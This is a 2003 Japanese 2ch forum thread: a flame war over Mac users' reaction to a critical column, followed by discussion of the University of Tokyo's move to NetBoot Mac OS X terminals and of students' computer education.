それから【君が『プロの仕事』と『素人のカキコ』を同列に扱ってる】（>>139）
という事実と、そこから話を逸らそうと努力した（>>162）という事実は消えないぜ。
それは忘れないように。
これ以上突っ込んでも君は逃げ回るばかりだろうから
この件についてはもう触れないよ。
0169名称未設定
03/10/04 22:42ID:f0V9ASzS正当な抗議とヘイトメールの区別も付かず、
一部の反応を見て全体がおかしいと妄想する。
ｦﾏｲのこのスレでの行動が、ヘイトメールと同じ行動だと理解も出来ないのか？
0171名称未設定
03/10/04 22:48ID:KnZTPr3S漏れが逃げ回ってる？
まぁいいけどさ
お前らの行動は、些細なミスを集団で糾弾して、BBS閉鎖まで追い込んだ
気は済んだか？
これでお前らの愛するOSXの名誉が挽回できたか？
違うだろ
やれやれ、またマカの集団ヒステリーか
と、世間に思わせただけだ
結果のために、自分の心をコントロール出来ない＞ヒステリックおマカちん
まさにお前だ
0172名称未設定
03/10/04 22:50ID:3l7JfvXp0174名称未設定
03/10/04 22:54ID:uw7sRBk3＞お前らの行動は、些細なミスを集団で糾弾して、BBS閉鎖まで追い込んだ
プロの仕事と素人の日記の区別がつかないのか？
学生みたいな甘いこと言ってんじゃねえよ。
社会に出て責任のある仕事を経験してから出直してこい。
0175名称未設定
03/10/04 22:56ID:KnZTPr3Sお前らの行動こそが、こどもじみているのだが
OSXを愛し、広めたいなら、そして大人ならもっと別の手段があるだろうに
またしても、わざわざ自分たちの評判を自ら落とす
ま、そこが面白いからここに張り付いてるんだが
0176名称未設定
03/10/04 22:57ID:+IWq0CW3>いつも疑心暗鬼で、被害妄想にかられてるんだよ
>だから一個の煽りに、20個も糞レスが湧いてくる
20個なんてもんじゃなかったみたいねw
AppleRoomも潰したし今度のライターも大変だろうな。
0177名称未設定
03/10/04 22:57ID:uw7sRBk3＞漏れが逃げ回ってる？
まるで自分の責任を回避しようとする学生のように逃げ回ってるよ。
君が脳内変換しないように全部説明してやったじゃん。
0178名称未設定
03/10/04 23:00ID:KnZTPr3Sそのコラムの真偽には全く興味が無いわけで
その反応の方が、目茶面白いわけね
責任って？
0179名称未設定
03/10/04 23:00ID:uw7sRBk3そうやって『自分に都合の良い解釈の殻の中』に閉じこもっていればいい。
自分の書いたことを煽りという事にしておけば君のプライドは保たれるからな。
0180名称未設定
03/10/04 23:02ID:KnZTPr3S餅つけってばさ
その人は漏れじゃないから
0181名称未設定
03/10/04 23:03ID:Rnxn+Hmz0182名称未設定
03/10/04 23:03ID:uw7sRBk3＞そのコラムの真偽には全く興味が無いわけで
＞
＞その反応の方が、目茶面白いわけね
意味不明。
＞責任って？
「自分の責任を回避しようとする学生のように」という
ものの例えだ。こんな基本的なこと説明させるな。
0184名称未設定
03/10/04 23:07ID:uw7sRBk3＞
＞その反応の方が、目茶面白いわけね
意味判ったよ。
じゃあ好きに釣りをやっててくれ。
0185名称未設定
03/10/04 23:12ID:KnZTPr3Sもう十分
おなか一杯
0186名称未設定
03/10/04 23:15ID:9SwbYiyzリアル釣り堀の方がもっと楽しいと思うけど。市ヶ谷まで行けば？
学者馬鹿と公言できる人はある意味すごいとオモッタ＞コラムの人
専門馬鹿とか逃げが打てる言葉にしとけばいいのに＞語彙が少ない人とオモウタ
あと、何かコンプレックスが強そうな人かな＞コラムの中の人
0187名称未設定
03/10/04 23:16ID:t6JSQo3f0189名称未設定
03/10/04 23:21ID:KnZTPr3Sこの件に限らず、あらゆる方面で学者馬鹿による被害は多い。
滅茶苦茶な報告や、計画出されても、頼んだ以上顔を潰すことも出来ず
どうにもならないとかね。
どうしてこのようなことが起きるかというと、数多い法令条例の設置義務委員会に
学識経験者と明記してあるからだ。
そして糞を掴むと、糞な結果になる。
学者馬鹿の表現はそぐわないかもしれないが、溜飲が下がる思いだね。
0191名称未設定
03/10/04 23:28ID:9SwbYiyz学者馬鹿という言葉だと、ネガティブイメージオンリー
専門馬鹿だと、少しはプラスイメージが加わるかな。
オレは馬鹿専門ｗ
0192名称未設定
03/10/04 23:29ID:+yUyWXs+0193名称未設定
03/10/04 23:29ID:jCV9WMlP周囲が振り回されることはよくあるわけで
0194名称未設定
03/10/04 23:37ID:J5lvwUUgそれまでﾏﾀｰﾘしようや。
あ、東大の学内説明会はどーせ何もチェックしてないから、日時と場所が
分かれば部外者でももぐりこめると思うぞ。多少年食ってても東大では目立たない
（院生とか社会人入学とか多いから。でもスーツは一応やめとけ）。
0195名称未設定
03/10/04 23:39ID:NECkNQDmlinux厨はなんて呼べばいいの?これもドザ?
0196名称未設定
03/10/04 23:41ID:SjsNVmEoWinの脆弱性うんぬん言ったってMacに脆弱性がないなんて言い切れるやついるのか？
Mac使ってるやつはあまりに安易なやつが多すぎる。
0197名称未設定
03/10/04 23:41ID:paXavnyD0198名称未設定
03/10/04 23:45ID:Rnxn+Hmz>Winの脆弱性うんぬん言ったってMacに脆弱性がないなんて言い切れるやついるのか？
>Mac使ってるやつはあまりに安易なやつが多すぎる。
Win使ってるくせに安易なやつが一番困る。
0200名称未設定
03/10/04 23:48ID:SjsNVmEoどんな反応があるか興味があって騙ってみました。
でもやっぱりMac使っててもウィルス対策はきちんとしようね。
0201名称未設定
03/10/04 23:48ID:rq1Ov0bthttp://pc.2ch.net/test/read.cgi/linux/999444500/l50
0202名称未設定
03/10/04 23:52ID:x69blb6Y東 京 大 学 の 話 を し よ う
0203名称未設定
03/10/04 23:54ID:Vn/JfnO00204名称未設定
03/10/04 23:57ID:9SwbYiyzどのように使われるのか、教えてくらハイ。
私は修士から外様で、弥生に5年いましたが、4月にアカウント渡されたりしたけど
結局、一度も使いませんでした。自前の機械、学部の方メールアカウントだけで。
0206名称未設定
03/10/05 00:03ID:yeq6qePn近所の人は普通に散歩に来てるよ、犬とか子供とか連れて。
赤門入ってすぐ左の守衛さんの横に公衆トイレがあるから使うがよろし。
>>204
俺も今修士ですが、本郷入ってからはほとんど使ってないですね。
浅野の教育用計算機センターにも行ってないです。
今はlinuxベースのNCがずらっと並んでいるのですが、それがiMacに置き換わります。
学生はどのマシンにログインしてもNFSマウントされた自分のホームを見ることになります。
普段はnetbootしたMacOSXでメール、ブラウズ、Officeなどの作業をします。
必要に応じてリモートデスクトップでwindowsターミナルサーバエディションを使ったり
linuxやsolarisもリモートログインして使うことになります。
こんな感じでいいですか?
0207名称未設定
03/10/05 00:10ID:fPbwCgaO近所に通勤の会社員だけど、学食はときどき食いにいくよ。
なかなかｲｲ!（ﾟ∀ﾟ）
0210名称未設定
03/10/05 00:14ID:yeq6qePnそんなのチェックしてない。
明らかに上野公園のホームレスだと思われる人が朝飯食ってても完全無視。
0211名称未設定
03/10/05 00:17ID:QTxWtyuU東大卒っていってたな。色々いる罠w
0212204
03/10/05 00:21ID:AcJPIkAfありがとっす。学外からもWebDAVでファイル鯖に繋げられるとあるから
今みたいに高速回線が普及していれば、けっこう便利ですね＞ディスクスペース
>>208
うちの研究室は教授が京都、半分が東大以外だたから、
特にいじめられることもなく平和だったな＞生粋東大生はみんな国一受けてたけどさｗ
安田講堂の学食、古いときは暗くてちょっとだったけど（でも、定食は安くてボリュームあり）
キレイになって、とってもいい感じ。値段もそんな高くない＞早稲田って高すぎない？
法学部棟の銀杏には一度も行ったことがない。まだあるの？
0213名称未設定
03/10/05 00:23ID:r3POib+I0214名称未設定
03/10/05 00:27ID:yeq6qePnメトロのこと? まだあるよ。
俺は弥生食堂いったことないんだよね。
0216名称未設定
03/10/05 00:28ID:yeq6qePnいや、結構受けてるよ。国一の技術職の方。
研究室仲間もうけて、特許庁に就職。
0218名称未設定
03/10/05 00:32ID:yeq6qePn大学院情報理工学系研究科です。
うちの推薦は結構公平ですよ。
0220名称未設定
03/10/05 00:42ID:yeq6qePn民間就職も多いですよ。
国一の技術職は一般職(文系の方)よりずっととりやすいみたいです。
0222名称未設定
03/10/05 00:48ID:A1hRQfTQ情報系ならLinux/Windows からMac OS Xに乗り換えた教職員は結構多い。SolarisやBSD Unixに比べると、Linux/Windowsは「一段劣る」感じは否めない。何がっていわれると「アカデミックなところで」なのかも知れないけどさ。
Linux/Windowsを使っているのは、それがベストというよりは妥協だね。Mac OS Xはそういう妥協がいらないのが良い。GUIベースの開発環境がついてくるのはMac OS Xだけだし。
0223名称未設定
03/10/05 00:52ID:yeq6qePnうちの研究室は昔はSolorisメインだったけど、今はlinuxマシンが多い。
個人使用のマシンではwin+cygwinの人も多いかな。
でもMacOSXがunixベースということで1台G4が入りました。
0224名称未設定
03/10/05 00:53ID:OVhs4wHg0225名称未設定
03/10/05 00:53ID:IzFHyNpA0226名称未設定
03/10/05 00:54ID:Ihg6kcc3東大とはあんまり関係ないんですけれども。
私、中央大学の総合政策学部ってところに行ってたんです。中大。
そしたら、カードキーがないと中に入れない情報科の教室が三つあって、
一つにはWindows 3.1 が 100 台、一つには Sun OS が 100台、
そして最後の一部屋には黒 NeXT が 100 台導入されていました。
93年からですから、阪大の後追いといえる状況ですね。
はっきりいって、NeXT の部屋が一番利用率高かったです。
学部設立時に Sun OS と NeXT STEP が NFS で二重 Netboot できる環境が
できていたのですが、それを設計した有能なネットワークエンジニアが、
IIJ だかどこかに転職してしまったので、残念なことに、
五年後の更新時に Windows マシンに置き換えられてしまいました。
まぁ、残った情報科の教員たちがまったく無能だったから、
外注のシス管ひとり常駐させて放置だったっていうのもあるけれど。
あと一二年早ければ、Mac OS X 搭載の PowerMac を入れられたはずなんだけれどね。
次の切り替えの時には G5 100 台 と Linux 100 台をずらっと並べてあげて欲しいもんですよ。後輩たちには。
0227名称未設定
03/10/05 00:56ID:6z2jbXKz0228名称未設定
03/10/05 00:59ID:AcJPIkAf一般教養の情報カンケーって、今は必須単位に含まれてるの？
10年以上前の理系だったけど、当時は選択科目だった。
でも、みんな履修取ってたけどね。出てれば単位もらえたし
当時は98、N88日本語BASIC で簡単プログラムが抗議内容（ゴラァ教員）
ドットプリンター直すのにＴＡの人たち、右往左往。
ディスクドライブが逝かれてるのも多かったか。
0229名称未設定
03/10/05 01:05ID:Ihg6kcc3「計算機というものはそもそも大陸弾道弾の軌道計算のために作られました」
みたいな話を、国際関係とかが専門の学生に向かって延々と。もうアフォかと。
おまえら『インターネット参加の手引き』やるから、教壇あけろと。
0230名称未設定
03/10/05 01:06ID:Ihg6kcc30231名称未設定
03/10/05 01:09ID:yeq6qePn今は文理共に必修科目。
理系の方はjavaプログラミングまでやるはず。
文系の方は分かんないけど、一通りの基礎知識とhtmlぐらいはやるんじゃないかなぁ。
プリンターが問題箇所なのは今も同じで
>>1のリンクによると今度はプリペイドカードで課金制になる模様w
0232名称未設定
03/10/05 01:12ID:djkFI+Ke>あ、東大の学内説明会はどーせ何もチェックしてないから、
チェックしようかなぁ。見つけた場合どういう措置ができるかなぁ。
関係する教官の数なんて知れてるから、潜り込もうとしてもすぐばれるよ。
0233名称未設定
03/10/05 01:14ID:Q279f+MR理系でもjavaはやったりやらなかったりだと思う。（漏れはやらなかった。
周りの様子を見ると理系は
unixのコマンドとhtmlとtexは一通りやるようです。
0234名称未設定
03/10/05 01:15ID:HGvOGLeolatexで文書作成までは必修の範囲でやった。さすがにプログラミングは授業では
しなかった。
今はどうなのかな。少しは内容変わったのかな。オライリーの本とそっくりな
体裁の教科書出てるよね。なんとかNavigatorとかいって。
0236名称未設定
03/10/05 01:23ID:Q279f+MRむしろ今は
計算機プログラミング＞java
情報処理＞ほぼプログラミングなし
のようです。
（計プロに関してはjava以外の言語を使ってるのは皆無）
Cは4学期以降でないとやってないようです。
0237名称未設定
03/10/05 01:25ID:tspNojig0238名称未設定
03/10/05 01:25ID:yeq6qePnまぁ、計プロはjavaで充分だよね。今や教育用言語はpascalでなくてjavaか。
情報系は今でもC必須だとは思うけど。分野によるか。
0240名称未設定
03/10/05 01:27ID:HGvOGLeoケチくさいことしないで～。つーか杞憂だとは思うのだが。
0241名称未設定
03/10/05 01:32ID:Ihg6kcc3英語のライティングの宿題とかガンガンプリントしてたけどね。
WordPerfect のスペルチェックとか同義語検索とか使って、うまそうな文章書いたり。
で、紙がなくなると、「プリンターに用紙を補給して下さい」って言うんだよ。
うちは文系だったが、情報の教授が Fortran 教えてた。超意味ない。
社会系の学生には、スプレッドシートだとか、
リレーショナルデータベースの基礎を教えるべきだよな。
0242名称未設定
03/10/05 01:35ID:AcJPIkAfいや、まずはWindows Update のことを教えるべきだｗ
理論と実践、教養レベルだとバランスが難しいね。
昔はほんと、理論ばっかりでつまらなかった。
今は逆に、実戦（アプリの使い方とか）に編重してるとこも多いのかな？
でも、なんか皆さん、うらやましい情報教育受けてるよ＞国立大学出身者大杉だぞｗ
0243名称未設定
03/10/05 01:40ID:yeq6qePn東大も今のシステムだとOfficeが入ったせいで、情報棟でサークルビラの原稿を作り
そのままプリンターで数百枚大量印刷なんていう酷い状態だったらしい。
相談員への質問はプリンターの異常とOfficeの使い方が大半。
酷いものになると「wordが途中で落ちちゃったんですけど、データは元に戻りませんか?」なんてのもw
0244名称未設定
03/10/05 01:41ID:Ihg6kcc3いや、おれも学部入ったのはもう十年前だけどさ。
＞unixコマンドいくつかと、Emacs+MHでメールの読み書き
これは、オリエンテーションで TA に習ったな。確か。
＞latexで文書作成までは必修の範囲
へぇー。
俺は結局、卒論も修論も TextEdit で書いたよ。NeXT ~ Mac OS X
HTML はちょろかったけど、 LaTeX 覚えるのはめんどくさかった。
文系の学部生に、「学術論文の書き方」と「LaTeX の使い方」両方を同時に上手に教えられる人がいればいいだろうね。中大総合政策では習えなかった。奥村せんせの本は持ってるけど。
0245名称未設定
03/10/05 01:42ID:tspNojigそういった作業は三流大学卒の人達がやるわけで・・
しかもすげー詳しかったりするし。
0246名称未設定
03/10/05 01:42ID:yeq6qePn俺も奥村先生の本は愛用。
今は文系の論文はwordで書いちゃうって聞いたよ。本当のところは知らないけど。
理系の論文でもtex限定じゃないところもあるらしい。
0247名称未設定
03/10/05 01:43ID:Ihg6kcc3＞いや、まずはWindows Update のことを教えるべきだｗ
でも、ログイン時に勝手にネットワークアップデートするようになるんでしょ？
これで、基幹業務システムが動かなくなったりしてほしいんだけどねwww
カルフォルニア州での訴訟も数百万人が参加の可能性とかいってるし。
0248名称未設定
03/10/05 01:47ID:Ihg6kcc3Mac だと画面表示がすでに pdf だから、キャプチャーしても pdf になるし、ファイルにプリントしても pdf になるし、文系の学生が LaTeX を使う必要性がどんどん低下するなw。
0249名称未設定
03/10/05 01:52ID:3fI5Yw0s最初の頃となんも変わってないではないか。
もうほんとお前らのバカさ加減に脱帽ですよ。脱帽。
0250名称未設定
03/10/05 01:53ID:tspNojig0251名称未設定
03/10/05 02:12ID:GoBPi4ZR社会に出てから何の役にも立ちませんでした
VBAでもやった方が、100倍ましです
0252名称未設定
03/10/05 02:20ID:Ihg6kcc3最近2chの経営ってひどいね。
0253名称未設定
03/10/05 02:23ID:r3POib+I0254名称未設定
03/10/05 02:25ID:Ihg6kcc30255名称未設定
03/10/05 02:26ID:v/BuSEeCはじめ、個人的にはずっとLinuxを使ってきたけど、今はやはりMacOS X
だよ。
LinuxはたしかにいいPC UNIXだけど、理系がボランティアで開発
してるので、文系に必要なソフトが少ない。たとえば縦書きできる
ワープロとかがなかった。TeXじゃつらい。待っててもボランティアさんは
そんなものは、自分は必要ないからいつまでも出ないし。
(やっと商用StarOffice, そのオープン版OpenOfficeで出たけど、遅すぎ）
で、結局文系はWinやMacを文房具としては使うしかなかったってわけ。
最近の東大のLinux, Winデュアルブートも、大半の学生がWinを使うように
なってたのは、卒論やレポートを書くにも印刷が面倒だったから。
個人パソコンのネットブートうんぬんというのは、これからの
話だろうね。現状では、個人パソコン持ち込んでも、LANで
ネットサーフィンしてるだけで、誰もたいした使い方してないから、
さほど需要はない。
0256名称未設定
03/10/05 02:27ID:v/BuSEeCLinux使えというわけにいかなかったから、どうしてもWindows機を
ある程度は用意せざるをえなくて、メンテその他でWinの呪縛から
逃れられなかった。これでさんざん苦労して、もうたくさん！という
ところじゃないのかな。
MacOS XならメンテもUNIXの応用でできるし、自分たちの舞台だから
とっても楽になる。
つまり、今回の転換は、おれがSun->Linux=>MacOS Xと乗り換えたように、
とても自然な流れなんだよ。
あるいは、AppleがOS XでUNIXに転換した方針の勝利だろうね。
それがはじめてインパクトのある形で報いられた。
これから、大学、一般社会でもMacのシェアは劇的に伸びるよ。
0257名称未設定
03/10/05 02:35ID:WjdWf0lz0258名称未設定
03/10/05 02:43ID:yeq6qePn概ね同意だな。
今までどうしてもwindows必要だった部分をある程度満たしつつ
勝手知ったるunixであるっていうのは
管理する側のunixerとしては非常にうれしい選択肢だもんね。
まさにunixベースに転換した勝利だね。
これで問題なく導入に成功すればという条件付きではあるが
シェア回復への大きな一歩になるのは間違いない。
どうしてもwin出なきゃダメっていうわけじゃないところでは
充分に使いものになるって事が示されるわけだしね。
ところで「劇的に」とか挑発的な表現はいいエサになりかねないので止めた方がw
0259名称未設定
03/10/05 02:50ID:N2dbjsC0>個人パソコンのネットブートうんぬんというのは、これからの話だろうね。
東大では、個人がMacのノート持ち込んでネットブートできるようになるのですか？
0260名称未設定
03/10/05 02:57ID:WjdWf0lz0261名称未設定
03/10/05 03:01ID:yeq6qePn――ディスクレスのNetBootにした理由は何でしょう。
安東 ハードウエアトラブルに対する対応が極めて楽になるということで
しょうか。オペレーションのために内蔵のハードディスクを使っていませ
んから、万が一ハードウエアトラブルに見舞われたマシンがあったとして
も、取り換えるだけで元のように使えます。
内蔵ハードディスクから立ち上げる仕組みですと、マシンを取り換えた
後、それまでの環境設定に戻すまでいちいち大変な作業をしなければなり
ません。ゼロアドミニストレーションと言える環境に少しでも持っていき
たいわけです。
ユーザーがどこの端末にログインしても、いつも同じ「自分の環境」を
デスクトップに呼び出せるという点も評価しました。個人的な意見ですが
最近、学校がパソコンを用意する時代ではなくなってきていると思いま
す。昔、コンピューターはとても高価で大きな部屋に鎮座するような代物
でした。その流れからコンピューター教育をするには学校がパソコンなど
を用意しなければならなかったわけですが、最近では完全に様変わりして
います。
そういう中でNetBootの仕組みを用意しておけば、学生は自分のパソコン
を学校に持って来て、ネットワークにつなぎさえすれば、授業環境ができ
上がるわけです。学校などの環境にはこれが素晴らしい威力を発揮すると
思います。
NetBootを、ノートパソコンも含めてOS標準の機能としてベンダー側でし
っかり保証しているデスクトップPCはMac以外にはありません。1149台をブ
ートするというプロジェクトは世界にも例がないのだそうですが、これが
ちゃんとできるというのは、我々導入する側としても心強いですね。
0262名称未設定
03/10/05 03:02ID:yeq6qePn0264名称未設定
03/10/05 03:05ID:N2dbjsC0自分も、ここ読んで、いずれAirMac導入のつもりなのかなと思いました。
でも、AirMacのスピードでNetBootは実用的なのでしょうか？
有線だったら萎えるな、とも思いました。
> ユーザーがどこの端末にログインしても、いつも同じ「自分の環境」を
>デスクトップに呼び出せるという点も評価しました。個人的な意見ですが
>最近、学校がパソコンを用意する時代ではなくなってきていると思いま
>す。昔、コンピューターはとても高価で大きな部屋に鎮座するような代物
>でした。その流れからコンピューター教育をするには学校がパソコンなど
>を用意しなければならなかったわけですが、最近では完全に様変わりして
>います。
>
> そういう中でNetBootの仕組みを用意しておけば、学生は自分のパソコン
>を学校に持って来て、ネットワークにつなぎさえすれば、授業環境ができ
>上がるわけです。学校などの環境にはこれが素晴らしい威力を発揮すると
>思います。
0265名称未設定
03/10/05 03:10ID:yeq6qePnていうかAirMac経由でnetbootって出来るの?
スピード的にはそんなに難しいレベルじゃないと思うんだけど。無線LANってそんなに遅くないし。
有線だったら線の奪い合いがおきそうで萎えるねw
0266名称未設定
03/10/05 03:12ID:pvYVWr1V0267名称未設定
03/10/05 03:16ID:la3EUxY2へたなあおりだな。
0268名称未設定
03/10/05 03:28ID:WjdWf0lz躁相手にまともな会話望むのは無理っぽいね。
0270名称未設定
03/10/05 03:30ID:QTxWtyuUてか回線遅いのか今頃レスしてw
0271名称未設定
03/10/05 03:34ID:Ihg6kcc30272名称未設定
03/10/05 03:45ID:WjdWf0lz他のスレを巡回してるんすよ。まあ回線もADSL8Mで6Mb程度でしかLinkしないので遅いのですが。
0274名称未設定
03/10/05 04:08ID:sady/U3a0275名称未設定
03/10/05 04:09ID:OYQvwsfPほんと、Macの方々、鬼の首とったように続けているけれど、そろそろやめたら？
Quadra使いのおいらだけれども、正直恥ずかしいよ
0276名称未設定
03/10/05 04:14ID:WjdWf0lz0277名称未設定
03/10/05 04:28ID:vygJrHHF全く別の存在として導入する意義が認められたことについては
今までにない「鬼の首」を手に入れたと言えんことはないぞ。
鬼の首にどれ位の価値があるかは別だがな。ひと山250円とか。
0279名称未設定
03/10/05 04:39ID:N2dbjsC0> NetBootを、ノートパソコンも含めてOS標準の機能としてベンダー側でし
>っかり保証しているデスクトップPCはMac以外にはありません。
0280名称未設定
03/10/05 04:41ID:yeq6qePnいや、でも安藤先生はじめ担当者達は硬骨のunixerなので
いざとなったら自分で何とか出来るunixというのはそれなりに大きな理由だったと思うよ。
0281名称未設定
03/10/05 04:42ID:wj7N45Otログインじゃなくてブートの方がネットワークを圧迫するってことでしょ。
ブートイメージを FTP か何かでローカルに持って来なくちゃいけないから。
AirMac Extreme なら速いのかな。
0282名称未設定
03/10/05 04:46ID:N2dbjsC0>いや、でも安藤先生はじめ担当者達は硬骨のunixerなので
>いざとなったら自分で何とか出来るunixというのはそれなりに大きな理由だったと思うよ。
そうなんだろうけど。
ネットブートできることが大きな決め手になったっということは、
UNIXに興味の無い初等中等教育機関への売り込みで大きな意味
を持つと思うんだよね。
0283名称未設定
03/10/05 04:52ID:yeq6qePnこれをモデルケースに売り込みをかけていくだろうね。
「管理が楽」っていうのはネットワーク管理者が少ない場所ほどプラスだよね。
0284名称未設定
03/10/05 04:52ID:N2dbjsC0サーバーの各自のディスクスペースにファイル保存してるのかな。
アプリ導入やウィルスのチェックは？
0285名称未設定
03/10/05 04:54ID:dnSRBktj0286名称未設定
03/10/05 05:04ID:N2dbjsC0appleは突破口を見つけたな。
池田 管理体制が簡便化できるということも重要です。NetBootのような仕組み
を持たないまま大量のパソコンを導入すると、管理がとても大変になります。動
かなくなったパソコンを直しながら運用していては、コンピューターを使った教育
をするという発想がかき消されてしまって、管理モードに入ってしまうのです。
そうすると自由にコンピュータの勉強するということではなく、どうやったら壊れ
ないか、どうやったら壊されないかということしか考えられなくなってしまうので
す。
結果として、授業で決められたことしか触らせなくなる。初等、中等教育の現場
では、システムフォルダをごみ箱に捨てちゃう子もたくさんいる。そうなっても
NetBootがちゃんと機能していれば全然問題ありません。
0287名称未設定
03/10/05 05:31ID:936imshK0288阪大物性
03/10/05 05:35ID:ITALAZCe1両年中に採用を検討したいって言ってた。
0289名称未設定
03/10/05 05:43ID:cTaPFXzjただ現状ではネットブートと言われてもピンとこないのも事実だね。
管理する側からは、こうすれば一台一台の端末のメンテという、まさに
シジフォスの神話のような終りなき作業から解放される、セキュリティ対策も
簡単と、メリットは余りあるものがあるけど、利用する側からの、それも
個人パソコンのネットブートの利点というのは、いまいちよく分からない。
「授業環境」が呼び出せるということなんだけど、ネットでのコンピューター
環境を授業そのものに利用する形態はまだ一般的ではないと思うし。
単にファイルの同期をとるということなら、ネットブートじゃなくても
いいわけだし。
なんで、いちいちLANにつないで、学校のアカウントの環境を呼び出さなければ
ならないのか？
0290名称未設定
03/10/05 05:44ID:cTaPFXzj結局、こうなると大学で、なんのためにコンピューターがあるのか、
どう使われているのかということが問題になる。
今、学校側で用意している端末、Linux,Winのデュアルブート環境だけど、
これは大半の学生にはネットサーフィンとメールチェックくらいにしか
使われていない。あとは簡単なレポートをWinWordを呼び出して書いてる
くらいだろう。
となると、現状ではネット、コンピューターといっても、理系の数値計算などの
ごく専門的な分野を置いては、大半はネットサーフィン、メール、簡単な
文書作成くらいでしか使われていない。
東大文系だけでなく、他の一般大学でも大半はこれくらいの使い方しか
されていないだろう。
これだと個人パソコンをネットブートする利点、必要性が見えてこない。
0291名称未設定
03/10/05 05:44ID:cTaPFXzj理系の場合、そんなにネットブートできると便利なのかな？
研究上、能力の高い中型コンピューターを使ってやらせるプログラム、
その結果なんかを自分のアカウント環境においている場合は、たしかに
便利だろうけど。
非常に、限られた理数系の研究レベルでの話だなぁ。
現状では、総合図書館や各学部の分散端末室にあるLANの端子も
さほど使われていない。図書館でも２、３０人レベルだろう。
これを本格的にやるとしたら、もちろん無線LANでどこでもつなげる
状態にするんだろうけど、それでやるのがメールチェックだけだとなぁ。
そんなの携帯電話でもできるし。
ただ、安藤助手がコンピューターを大学が用意する時代ではなくなった、
というのはそのとおりだろう。東大の現在のシステムも文房具的なコンピューター
の利用を念頭においたものではなく、単にLANの端末という感じで、
フロッピィもなにも使えない端末仕様ですから。
文房具としてのコンピューターは自分で用意して、それを"つなぐ"という
キャンパス環境になりつつあることは確か。
ぜいたくを言えば、現在のノート・コンピューターは概ね、まだ常時学生が
キャンパスで携帯できるほど、軽くもないし、かさ張りすぎる。
もっと安価で、小振りで軽いノートがそういう目的にはいるだろうね。
PowerBookG4, 12インチというのもその流れなんだろうか？
しかし、ほんとにキャンパス生活で常時携帯するなら、もっと軽くて小さくて
壊れにくい、それでいて機能をしぼった安価なものが求められるだろうな。
（そして、逆に高価なソフトは個人購入ではなく、ネット利用するものになる？
そんな感じになるんだろうか？）
とりとめがない文で、ごめんなさい。
0294名称未設定
03/10/05 06:19ID:wj7N45Ot>これだと個人パソコンをネットブートする利点、必要性が見えてこない。
個人持ち込みの Note PC をネットブートするって事なら、その通り。
自分のディレクトリを NFS や CIFS でマウントしたり、ssh で入れば良い。
据え置きの共用端末については >>292 が言う通り。導入する側からしたら
大きなメリットがある。
今回の件で狙ってるのは後者（共用端末部分）だよ。
リモートログインやログインセッション管理とか出来るようになったら、
個人持ち込み端末からの利用も凄い便利になるんだけどね（現状、Mac
で出来るのか知らないけど）。
0295名称未設定
03/10/05 06:38ID:/DpAXR9p0296292
03/10/05 06:38ID:6mErv69i0297名称未設定
03/10/05 07:22ID:SSVRRY6z0298名称未設定
03/10/05 08:05ID:dGueV0tU各個人がログインした場所で自分の環境を再現できているわけだけど
Netbootってそれ以外のメリットがあるのですか？
Mac使ったことないので誰かおせーて。
0301名称未設定
03/10/05 08:31ID:dGueV0tUメーカーが保障までしているNetBootのほうが楽とかそんな感じ？
0302名称未設定
03/10/05 08:35ID:GoBPi4ZROSの自己開発あきらめて、Nextにスキンをつけて取り繕った
→マカ的にはメリット
ユーザー少なすぎて、ウィルス無し。決して堅牢なわけではない
→マカ的にはメリット
ネットブート程度で事足りるほどの作業しか期待してない
→マカ的にはメリット
学者馬鹿アンチMS教授のごり押しで、最高学府に採用されたが、ほとんどモニター代わりだが
→マカ的には大メリット、箔がついた、やったね
一応、こんなまとめ
このうえ、必ずMS批判、Winユーザー馬鹿扱いが、漏れなくついてきます。
0303名称未設定
03/10/05 08:45ID:6mErv69iOSのアップデートをする時、1000台のクライアントをアップデートするのと数台のサーバをアップデートするの、
どっちが簡単？
>>302
OSXというか*BSDだってセキュリティホールはあるだろう。でも、ネット接続してるだけで感染して実行できちゃう
ウィルスってのはOSX（*BSD）では考えられないんだけど。根本が腐ってるかどうかの違いだね。
MSのセキュリティホールは、そもそも設計段階に問題があると思うのだが、いかがですか？
0304名称未設定
03/10/05 08:53ID:dGueV0tUいやだから、現状でもNC端末には何にも入ってないよ？
起動時にLinuxカーネルと起動スクリプトが送り込まれ、各端末は/bin やら/homeやらを
NFSサーバからマウントして起動します。
それに対するNetBootの利点ってなんだろう？ということ。
現状でも＞1000台のクライアントをアップデートするのと数台のサーバをアップデートするの、
どっちが簡単
の問題は解決できているのです。
0306名称未設定
03/10/05 09:04ID:iZ1Cz7FpUnix系でも、バッファオーバーラン系はどうしようもないべ？
(勿論、Windowsで問題なのはマクロウイルス系だから質はちがうけど)
0308名称未設定
03/10/05 09:24ID:3bNuvErtただ、ひとつ思い出したんだけど、経済学部にある端末室で
中国人の留学生がExcelやその他のソフトをずっと使っていて、
「われわれはここでしか使えないんだ」、と言っていた。
（ここのPCは計算機センターのではなく、経済学部所有のものであり、
いろいろなソフトが入っている）
つまり高価なソフトは買えない、もっていないということなんだと
思う。こういう例は、日本人学生の場合でもソフトによっては、
当てはまると思う。
非常に高いソフトを次々に購入しなくても、学校に行けば、
自分のパソコンをつないで、その間だけだけど、高価なソフトが
使えるようになる。新聞CDや数々のデータベースなんかも
おなじことが言えるだろう。
これは、これで必要のある人には、文系でもネットブートの利点に
なるかもな。
こうなると、ソフトの流通形態にまで影響を与える。
教育ソフトは、学校ごとのライセンスが増え、ここで売った方が
将来の卒業後のシェアも取りやすい。
またデータベース系は売るのが難しかったけど、売りやすくなる。
0309名称未設定
03/10/05 09:30ID:3bNuvErt数百の共用端末をネットブートする利点は誰でもわかってますよ！
そうではなくて、安藤助手が暗示するところの個人パソコンを
つないでまでネットブートする利点ってなんだろう？ってことを今論じてます。
0310名称未設定
03/10/05 09:44ID:lWZLmnvK>>298のレス内容からそれを読み取れるファンタジスタがいたら見てみたい。
で、
＞そうではなくて、安藤助手が暗示するところの個人パソコンを
＞つないでまでネットブートする利点ってなんだろう？ってことを今論じてます
については特に思い当たらないけど、現状でWordやExcelを使いたい場合は
シンククライアント方式のWindowsアプリケーションサーバを利用するわけだけど
これの負荷がかなりのもので、MacOS Xなら端末のリソースでこれらのアプリを
動かせるからサーバーの負荷軽減を期待できますよね。
0311名称未設定
03/10/05 09:47ID:GoBPi4ZRそれじゃあ意味無いし、そうしないんでしょ
0312名称未設定
03/10/05 09:55ID:VT+c3cSp自分のマシンを使うってのは？
（東大でそういう状況になるかどうかは知らんが…）
0313名称未設定
03/10/05 09:59ID:HGvOGLeo＞つないでまでネットブートする利点ってなんだろう？ってことを今論じてます
真面目にライセンスのことを気にしてる学生にとっては、学校のライセンスで
